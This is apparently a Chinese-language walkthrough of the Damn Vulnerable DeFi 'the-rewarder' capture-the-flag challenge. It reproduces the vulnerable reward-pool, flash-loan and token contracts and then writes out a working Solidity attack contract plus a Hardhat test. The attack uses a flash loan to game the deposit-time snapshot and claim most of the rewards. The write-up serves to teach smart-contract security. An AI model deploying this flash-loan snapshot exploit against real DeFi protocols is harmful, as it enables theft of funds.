the-rewarder
题目链接:https://www.damnvulnerabledefi.xyz/challenges/5.html
题目描述:
有一个池子每 5 天为将 DVT 代币存入其中的人提供代币奖励。Alice、Bob、Charlie 和 David 已经存入了一些 DVT 代币,并赢得了他们的奖励!
而你没有任何 DVT 代币。但在即将到来的一轮中,你必须为自己索取最多的奖励。
本题目录中共有 4 个智能合约
AccountingToken.sol
FlashLoaderPool.sol
RewardToken.sol
TheRewarderPool.sol
AccountingToken.sol
// 继承自 ERC20Snapshot 和 AccessControl
contract AccountingToken is ERC20Snapshot, AccessControl {
// 定义三个角色 minter, snapshot, burner
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant SNAPSHOT_ROLE = keccak256("SNAPSHOT_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
constructor() ERC20("rToken", "rTKN") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(MINTER_ROLE, msg.sender);
_setupRole(SNAPSHOT_ROLE, msg.sender);
_setupRole(BURNER_ROLE, msg.sender);
}
function mint(address to, uint256 amount) external {
require(hasRole(MINTER_ROLE, msg.sender), "Forbidden");
_mint(to, amount);
}
// 销毁代币
function burn(address from, uint256 amount) external {
require(hasRole(BURNER_ROLE, msg.sender), "Forbidden");
_burn(from, amount);
}
// 执行快照
function snapshot() external returns (uint256) {
require(hasRole(SNAPSHOT_ROLE, msg.sender), "Forbidden");
return _snapshot();
}
// Do not need transfer of this token
function _transfer(address, address, uint256) internal pure override {
revert("Not implemented");
}
// Do not need allowance of this token
function _approve(address, address, uint256) internal pure override {
revert("Not implemented");
}
}
AccountingToken
是一个代币合约,代币 name
是 rToken
,symbol
是rTKN
。继承自 openzeppelin
中的
ERC20Snapshot.sol
:该合约主要用来记录每次进行 快照时,某个地址有多少余额。其内部有以下几个变量:_currentSnapshotId
:自增变量 ,用来记录每次执行快照的 id。_accountBalanceSnapshots
:记录地址对应的每次快照的余额。快照的余额通过结构体Snapshots
存储_totalSupplySnapshots
:记录每次快照记录的代币总量
AccessControl.sol
:用来处理角色相关的合约。本质就是存储每个角色下所拥有的地址。
在该合约的构造函数,给 sender 赋予了四种角色
admin_role
minter_role
snapshot_role
burner_role
并且调用方法 mint
、burn
、snapshot
都需要 sender
拥有对应的角色。
flashLoanerPool.sol
contract FlashLoanerPool is ReentrancyGuard {
using Address for address;
// DVT token的实例
DamnValuableToken public immutable liquidityToken;
constructor(address liquidityTokenAddress) {
liquidityToken = DamnValuableToken(liquidityTokenAddress);
}
// 闪电贷方法
function flashLoan(uint256 amount) external nonReentrant {
uint256 balanceBefore = liquidityToken.balanceOf(address(this));
require(amount <= balanceBefore, "Not enough token balance");
require(msg.sender.isContract(), "Borrower must be a deployed contract");
// 将 DVT token 发送给sender
liquidityToken.transfer(msg.sender, amount);
// 回调 receiveFlashLoan 方法
msg.sender.functionCall(
abi.encodeWithSignature(
"receiveFlashLoan(uint256)",
amount
)
);
require(liquidityToken.balanceOf(address(this)) >= balanceBefore, "Flash loan not paid back");
}
}
借贷池合约,提供闪电贷功能。并在闪电贷方法内会回调方法 receiveFlashLoan
RewardToken.sol
contract RewardToken is ERC20, AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
constructor() ERC20("Reward Token", "RWT") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(MINTER_ROLE, msg.sender);
}
function mint(address to, uint256 amount) external {
require(hasRole(MINTER_ROLE, msg.sender));
_mint(to, amount);
}
}
token
合约,代币 symbol
是RWT
, 并且只有 minter_role
角色可以进行 mint
。
TheRewarderPool.sol
contract TheRewarderPool {
// Minimum duration of each round of rewards in seconds
// 多久进行一次奖励
uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;
// 上次为了奖励所执行快照的id
uint256 public lastSnapshotIdForRewards;
// 上次执行快照的时间戳
uint256 public lastRecordedSnapshotTimestamp;
// 记录地址上次发放奖励的时间
mapping(address => uint256) public lastRewardTimestamps;
// DVT token的实例
DamnValuableToken public immutable liquidityToken;
// Token used for internal accounting and snapshots
// Pegged 1:1 with the liquidity token
// rTKN token的实例
AccountingToken public accToken;
// RWT token的实例
RewardToken public immutable rewardToken;
// 记录发放奖励的轮次
uint256 public roundNumber;
constructor(address tokenAddress) {
// Assuming all three tokens have 18 decimals
liquidityToken = DamnValuableToken(tokenAddress);
accToken = new AccountingToken();
rewardToken = new RewardToken();
_recordSnapshot();
}
// 存入DVT token
function deposit(uint256 amountToDeposit) external {
require(amountToDeposit > 0, "Must deposit tokens");
// 给予等量的rTKN token
accToken.mint(msg.sender, amountToDeposit);
// 分发奖励
distributeRewards();
// 将调用者账户的 DVT token 存入该该合约地址中(需要授权)
require(
liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
);
}
// 提取DVt token
function withdraw(uint256 amountToWithdraw) external {
// 销毁 rTKN token
accToken.burn(msg.sender, amountToWithdraw);
// 从该合约账户转到调用者账户
require(liquidityToken.transfer(msg.sender, amountToWithdraw));
}
// 分发奖励
function distributeRewards() public returns (uint256) {
uint256 rewards = 0;
// 根据时间判断是否是新的一轮奖励发放时间
if(isNewRewardsRound()) {
_recordSnapshot();
}
// 上次快照 rTKN token 的总存入量
uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
// 上次快照时 调用者sender 的存入量
uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);
// sender的存入量大于0,且总存入量大于0
if (amountDeposited > 0 && totalDeposits > 0) {
// 根据占比计算奖励的数量
rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;
// 可获得的奖励大于0, 且未收到过奖励
if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
// 给予奖励 RWT token
rewardToken.mint(msg.sender, rewards);
// 记录领取奖励的时间
lastRewardTimestamps[msg.sender] = block.timestamp;
}
}
return rewards;
}
// 执行快照
function _recordSnapshot() private {
lastSnapshotIdForRewards = accToken.snapshot();
lastRecordedSnapshotTimestamp = block.timestamp;
roundNumber++;
}
// 根据领取奖励的时间判断是否领取过奖励
function _hasRetrievedReward(address account) private view returns (bool) {
return (
lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp &&
lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
);
}
// 是否是新的一轮奖励发放:当前时间 >= 上次奖励时间 + 5 days
function isNewRewardsRound() public view returns (bool) {
return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
}
}
奖励池合约,当我们调用 deposit
方法存入 DVT token
时,会给你等量的 rTKN token
。之后分发奖励也会根据你所持有的 rTKN token
的数量进行等比例分发 RWT token
通过合约的源码,此时可以做个简单的总结:
有三个 token
, 分别是
DVT token
rTKN token
RWT token
每当有用户在奖励池合约中存入 DVT token
时,会给予等量的 rTKN token
。并根据当前区块时间判断是否到了新一轮的奖励分发时间。如果到了,则执行快照,记录此时持有 rTKN token
的所有账户及其余额。并根据快照的数据按比例分发 RWT token
。
或者用户主动调用 distributeRewards
去领取奖励。
此时再回过头看下该题的问题:你没有 DVT token
,但你需要在新一轮的奖励分发时获取最多的奖励。也就意味着在快照时 ,你需要拥有大量的 rTKN token
, 而拥有 rTKN token
的前提是存入 DVT token
。但是题目明确说明了你没有 DVT token
。所以要想拥有 DVT token
,只能通过借贷池合约借出 DVT token
。
此时就能明确我们的攻击流程:
- 在新一轮的奖励分发时,通过闪电贷借出全部的
DVT token
- 在闪电贷的回调方法中,通过调用奖励池合约中的
deposit
方法,将借出的DVT token
存入,并获得等量的rTKN token
, 此时会执行快照,并分发奖励,获得RWT token
- 调用奖励池合约的
withdraw
, 销毁拥有的rTKN token
,并将存入的DVT token
返还给调用者。 - 将
DVT token
返还给借贷池合约。 - 将获得的
RWT token
转出到攻击者账户。
因此可以写出我们的攻击合约
TheRewarderAttack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../the-rewarder/TheRewarderPool.sol";
import "../the-rewarder/FlashLoanerPool.sol";
contract TheRewarderAttack {
// 奖励池合约
TheRewarderPool public rewarderPool;
// 借贷池合约
FlashLoanerPool public flashLoanerPool;
// DVT token
IERC20 public liquidityToken;
constructor (address _rewarderPool, address _flashLoanerPool, address _token) {
rewarderPool = TheRewarderPool(_rewarderPool);
flashLoanerPool = FlashLoanerPool(_flashLoanerPool);
liquidityToken = IERC20(_token);
}
// 闪电贷回调方法
function receiveFlashLoan(uint amount) public {
// 授权 rewarderPool 可以动用 amount 数量的DVT token
liquidityToken.approve(address(rewarderPool), amount);
// 存入DVT token
rewarderPool.deposit(amount);
// 取出DVT token
rewarderPool.withdraw(amount);
// 返还借出的 DVT token 到借贷池合约
liquidityToken.transfer(address(flashLoanerPool), amount);
}
function attack (uint amount) external {
// 执行闪电贷
flashLoanerPool.flashLoan(amount);
// 将获得的 RWT token 转出到 sender
rewarderPool.rewardToken().transfer(msg.sender, rewarderPool.rewardToken().balanceOf(address(this)));
}
}
最后在测试用例 the-rewarder.challenge.js
编写我们的执行代码
it('Exploit', async function () {
// 部署攻击合约
const TheRewarderAttackFactory = await ethers.getContractFactory(
'TheRewarderAttack',
attacker
)
const attackContract = await TheRewarderAttackFactory.deploy(
this.rewarderPool.address,
this.flashLoanPool.address,
this.liquidityToken.address
)
// 增加时间到5天后
await ethers.provider.send('evm_increaseTime', [5 * 24 * 60 * 60])
// 执行攻击方法
await attackContract.attack(TOKENS_IN_LENDER_POOL)
})
执行 yarn the-rewarder
, 测试通过!